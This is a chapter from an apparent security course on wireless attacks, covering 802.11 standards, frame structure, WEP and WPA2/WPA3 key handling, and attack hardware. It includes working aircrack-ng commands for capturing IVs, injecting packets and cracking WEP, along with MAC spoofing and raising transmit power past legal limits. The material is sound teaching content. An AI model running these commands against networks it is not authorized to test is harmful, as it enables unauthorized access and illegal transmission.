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MODULE 12 · CONCEPT PAGE

WIRELESS ATTACKS

802.11 standards · WPA2/WPA3 cracking · PMKID · Evil Twin · Enterprise 802.1X · Bluetooth · BLE · RFID · NFC · SDR · Zigbee · Forensics

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9 chapters~117 min totalWiFi + BT + RFID + SDR
9
CHAPTERS
~3.0hr
TOTAL READ
INTERMEDIATE
DIFFICULTY
MOD-12
IDENTIFIER
BEGINNER~14 min READCHAPTER 1 OF 9

Wireless Fundamentals & Standards

KEY POINTS · THE QUICK VERSION
  • 802.11ax (WiFi 6) adds OFDMA and MU-MIMO but the WPA2/WPA3 auth layer is still the primary attack surface
  • 2.4GHz travels further and penetrates walls better - ideal for surveillance; 5GHz is faster but shorter range
  • A hidden SSID provides no real security - passive monitoring reveals it within seconds of any client probe
  • Management frames (beacons, deauth, disassoc) are unencrypted in WPA2 - only 802.11w/PMF changes this
  • Chipset selection is critical: RTL8812AU (AWUS036ACH) supports monitor mode and packet injection on modern kernels
Scan these first, then read below for the depth and examples — or jump straight to the lab.

Before attacking wireless networks you must understand how they work at the protocol level. The 802.11 standard family defines how devices communicate over radio frequency. Each generation trades range, speed, and frequency band differently - and each has different security implications for attackers and defenders.

◈ PICTURE IT — MTAANI EDITION

WiFi is just radio. Like a local FM station, an access point shouts its signal into the open air, and anyone nearby with the right receiver can tune in and listen — walls barely slow it down. On the radio that is the whole point; on your network it is the danger. The only thing stopping an eavesdropper from understanding what they catch is encryption, which scrambles the words so that overhearing the broadcast is useless. That single idea is why every attack and defence in this module circles back to the lock, not the signal.

► 802.11 Standards Comparison

StandardWiFi BrandFrequencyMax SpeedSecurity Note
802.11bWiFi 12.4GHz11 MbpsWEP era - completely broken
802.11aWiFi 25GHz54 MbpsWEP era - 5GHz less congested
802.11gWiFi 32.4GHz54 MbpsWEP/WPA transition era
802.11nWiFi 42.4/5GHz600 MbpsWPA2 common, TKIP still seen
802.11acWiFi 55GHz only6.9 GbpsWPA2-CCMP standard
802.11axWiFi 62.4/5GHz9.6 GbpsWPA3 optional, WPA2 still dominant
802.11axWiFi 6E6GHz added9.6 Gbps6GHz band requires WPA3 - harder to attack

► Frequency Bands: Attacker Perspective

The frequency band determines range, interference, and available channels. Each matters differently for wireless attacks.

BandRangeChannels (non-overlap)InterferenceAttack Relevance
2.4GHzUp to 150m outdoors3 (1, 6, 11)High - microwaves, baby monitors, BTBest for long-range capture; crowded band
5GHzUp to 50m outdoors25+LowHigher throughput networks; PMKID works here
6GHz (6E)Shorter than 5GHz59MinimalLimited attack tools; requires WPA3

► SSID, BSSID, ESSID

These three terms are often confused but have precise meanings in 802.11.

👁 WATCH THIS · you don't need to run it yet — just read along
// WIRELESS IDENTIFIER CONCEPTS
SSID  (Service Set Identifier)
      The human-readable network name (up to 32 bytes)
      Broadcast in beacon frames every ~100ms
      NOT a security control - trivially discovered

BSSID (Basic Service Set Identifier)
      The MAC address of the access point radio
      Unique per AP (or per band on multi-band APs)
      Used by clients to distinguish overlapping same-name networks
      Can be spoofed: macchanger -m AA:BB:CC:DD:EE:FF INTERFACE_HERE

ESSID (Extended Service Set Identifier)
      Multiple APs sharing the same SSID form an ESS
      Clients roam between APs in the same ESS
      All APs share the same PSK in WPA2-Personal ESS

Hidden SSID attack:
      AP sends beacons with SSID field zeroed out (null bytes)
      Clients still send probe requests with the SSID embedded
      Passive capture reveals SSID immediately when any client connects
      airodump-ng reveals hidden SSIDs within seconds in most environments
What you're seeing: Three names that sound alike but mean different things: the SSID is the network name you see and pick ("Naivas_WiFi"), the BSSID is the access point's hardware address, and the ESSID is several access points sharing one name so you roam between them. The key takeaway is right at the top — a network name is not a security control; it is trivial to see, and even a "hidden" one is coaxed out in seconds.
↪ Nothing to type yet — you will read these identifiers live off the air once you start scanning in the lab.

► 802.11 Frame Types

The 802.11 protocol uses three categories of frames. Understanding them helps you know what to capture and what to inject during attacks.

CategoryExamplesAttack Relevance
ManagementBeacon, Probe Req/Resp, Auth, Deauth, Assoc, DisassocUnprotected in WPA2 - forge deauth/disassoc to kick clients
ControlACK, RTS, CTS, Block ACKUsed in jamming and DoS; less exploited directly
DataQoS Data, Null Data, CF-PollEncrypted payload; capture for handshake/PMKID extraction
// BEACON FRAME STRUCTURE (simplified)
802.11 Beacon Frame:
  Frame Control   (2 bytes) - type=Management, subtype=Beacon
  Duration        (2 bytes)
  Destination     (6 bytes) - FF:FF:FF:FF:FF:FF (broadcast)
  Source (BSSID)  (6 bytes) - AP MAC address
  BSSID           (6 bytes) - same as source for infrastructure
  Sequence Ctrl   (2 bytes)
  Timestamp       (8 bytes) - microseconds since AP boot
  Beacon Interval (2 bytes) - typically 100 TUs (102.4ms)
  Capability Info (2 bytes) - ESS, Privacy (WPA), Short Preamble
  Tagged Params:
    SSID element   (tag 0)  - the network name
    Supported Rates (tag 1)
    DS Parameter   (tag 3)  - current channel
    RSN Information (tag 48) - WPA2/WPA3 capabilities
    HT/VHT/HE Capabilities   - 802.11n/ac/ax specific

► WEP: Completely Broken

Wired Equivalent Privacy uses RC4, a stream cipher. The fundamental flaw is IV (Initialization Vector) reuse. RC4 requires a unique keystream per packet. WEP uses a 24-bit IV prepended to the key, giving only 16 million possible IV values. On a busy network, IVs repeat within minutes. Capturing enough IVs with repeated values allows statistical analysis to recover the key regardless of its length.

// WEP IV COLLISION ATTACK (aircrack-ng)
# Put interface in monitor mode
airmon-ng start wlan0

# Capture IVs from target WEP network (BSSID_HERE = target AP MAC)
airodump-ng --bssid BSSID_HERE -c CHANNEL_NUM -w wep_capture wlan0mon

# Inject ARP packets to accelerate IV collection (active attack)
aireplay-ng -3 -b BSSID_HERE -h CLIENT_MAC_HERE wlan0mon

# Crack once you have 40,000-80,000 IVs (60,000 for 128-bit key)
aircrack-ng wep_capture-01.cap

# WEP 40-bit key cracks in seconds
# WEP 104-bit key cracks in minutes
# There is NO secure version of WEP
CRITICAL
WEP is never acceptable on any network. If you encounter WEP in a real environment, it represents a critical finding requiring immediate remediation.

► WPA2 Key Hierarchy

WPA2 uses a multi-layer key derivation scheme. Understanding each key is essential for understanding what the 4-way handshake captures and how cracking works.

// WPA2 KEY HIERARCHY
PSK   (Pre-Shared Key)
      The password typed by the user (8-63 ASCII chars)
      NOT used directly for encryption

PMK   (Pairwise Master Key) = PBKDF2-SHA1(PSK, SSID, 4096 iterations, 256 bits)
      SSID is mixed in - PMK is SSID-specific
      This is why rainbow tables are per-SSID

PTK   (Pairwise Transient Key) = PRF(PMK + ANonce + SNonce + AP_MAC + Client_MAC)
      Derived fresh per session in the 4-way handshake
      Used to encrypt unicast traffic

GTK   (Group Temporal Key)
      Distributed by AP to all clients during handshake
      Used to encrypt broadcast/multicast traffic
      Single GTK shared by all clients on same network

MIC   (Message Integrity Code)
      Computed over the handshake using KCK (part of PTK)
      Cracking = trying PMK candidates until MIC validates

► WPA3-Personal: SAE Handshake

WPA3 replaces PSK with SAE (Simultaneous Authentication of Equals), also called the Dragonfly handshake. The critical improvement is forward secrecy - even if an attacker captures the full handshake AND later obtains the password, they cannot decrypt previously captured traffic. SAE also prevents offline dictionary attacks against captured handshakes.

► WPA2-Enterprise: 802.1X Overview

Enterprise WiFi uses 802.1X with a RADIUS server. The supplicant (client) authenticates to the RADIUS server through the AP acting as authenticator. The AP passes EAP frames without inspecting them. Different EAP methods provide very different security - EAP-TLS is the strongest, PEAP-MSCHAPv2 is the most common and most attackable.

► 802.11w: Management Frame Protection

PMF/802.11w protects management frames with cryptographic signatures. When enforced, deauthentication and disassociation frames from unauthenticated sources are rejected by the client. WPA3 mandates PMF. WPA2 networks can optionally enable it. When PMF is active, classic deauth injection attacks fail.

► Hardware for Wireless Attacks

AdapterChipsetBandsMonitor ModePacket InjectionNotes
Alfa AWUS036ACHRTL8812AU2.4/5GHzYesYesBest all-around for 802.11ac attacks
Alfa AWUS1900RTL8814AU2.4/5GHzYesYes4x4 MIMO, highest gain antennas
Alfa AWUS036NHAAR92712.4GHz onlyYesYesVery stable, older but reliable
Panda PAU09RT55722.4/5GHzYesPartialBudget option, limited 5GHz injection
Built-in Intel/BroadcomVaries2.4/5GHzPartialNoGenerally not suitable for active attacks
// REGULATORY DOMAIN MANIPULATION
# Check current regulatory domain
iw reg get

# Set to a region with higher TX power limits (testing only)
iw reg set BO

# Check max TX power per channel
iwlist wlan0 txpower

# Set specific TX power (dBm)
iwconfig wlan0 txpower 30

# WARNING: Exceeding legal TX power limits is illegal
# Use only in controlled lab environments or with explicit permission

► Kismet: Passive Wireless Monitoring

// KISMET SETUP AND USAGE
# Install kismet
sudo apt install kismet

# Add user to kismet group
sudo usermod -aG kismet USERNAME_HERE

# Start kismet with specific source
kismet -c wlan0mon

# Kismet web UI: http://localhost:2501
# Default credentials set on first run

# Kismet as wireless IDS:
# Detects deauth floods, SSID spoofing, rogue APs
# Tracks device associations over time
# Exports pcap, JSON, SQLite logs

# Command-line client (kismetdb_to_pcap)
kismetdb_to_pcap --in kismet_log.kismet --out capture.pcap
RECAP · CHECK YOURSELF
  • 802.11ax (WiFi 6) adds OFDMA and MU-MIMO but the WPA2/WPA3 auth layer is still the primary attack surface
  • 2.4GHz travels further and penetrates walls better - ideal for surveillance; 5GHz is faster but shorter range
  • A hidden SSID provides no real security - passive monitoring reveals it within seconds of any client probe
  • Management frames (beacons, deauth, disassoc) are unencrypted in WPA2 - only 802.11w/PMF changes this
  • Chipset selection is critical: RTL8812AU (AWUS036ACH) supports monitor mode and packet injection on modern kernels
Read to the end to count this chapter
▸ READY TO PRACTISE
You've now covered enough for Lab steps 1–2 of 18. Try them in the lab while it's fresh.
OPEN LAB ▸
⚡ TEST YOURSELF
End-of-chapter quiz
A dozen questions — recall and practical. Graded, earns up to 20 XP.
PRACTISE IN THE LAB ▸
READY TO PRACTICE?
MOD-12 Interactive Lab
18 steps · 455 XP · Real commands · Flag captures
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